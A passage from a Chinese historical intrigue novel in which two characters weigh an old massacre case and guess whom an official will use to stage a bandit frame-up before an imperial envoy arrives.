“当年邓波一家灭门案终究是疑点重重,想要知道已死去的刘富听命于谁,是很困难的,因为甚至他的死都跟幕后之人没什么关系,想他一死,又到如今,该清理的早清理了。 还是先查白朦水说的事情吧,首要是得知道她二人的相貌,那花娘的相貌好查,外室的有些困难,不过二人既然长得相似,却也不是不可以取舍。 至于邓绥,贺含章用人喜欢威胁,那或许邓绥也有把柄在贺含章手中,可是邓绥的把柄是什么呢?人皆所有求,邓绥此人怪诞,他想要的东西,我倒不好把握。 你觉得,此次涂苍一走,贺含章会喊邓绥来做这件事吗?”末了,梁玺又将话题引回到栽赃那件事上,毕竟,他们得先下手为强才是。 胤姜有些拿不准,“最好的做这件事的人就是土匪,涂苍是当之无愧的最适宜的人选,他手下的人未必多是善类,若与官兵刀兵相见,不会显得毫无抵抗力,不会像李复他们遇到的那群假山匪一样,这样也能最大程度的欺骗钦差,将戏演得最好。 而如果贺含章又想要故技重施,将那些拐来后被训练的人拿来滥竽充数,光是战斗力这件事,就会显出很多问题,而且他们缺少山林厮杀的经验,若是有丰富经验的仵作,去查看他们的尸体,未必不会察觉到异样。 普通百姓的尸体,和常年刀尖舔血的人的尸体,怎么会长得一样?要想把每个细节都做到位,需要耗费大量的精力啊。 如果不是派这些人,那其实贺含章剩下的选择很少了,说到底,你得猜,他更信任谁一点。” 胤姜提出自己的见解,或许是因为白朦水相帮的缘故,她内心怀疑的天平在邓绥上重重加了码。 梁玺没正面回答一个问题,只是神情郑重的说了一句,“按照时间,钦差快启程了。” 胤姜愣愣,那她和梁玺,也快永别了吧?时不我待啊。 胤姜回过神来的时候,已经在走在人声煊赫的大街上了。 66. 邓安然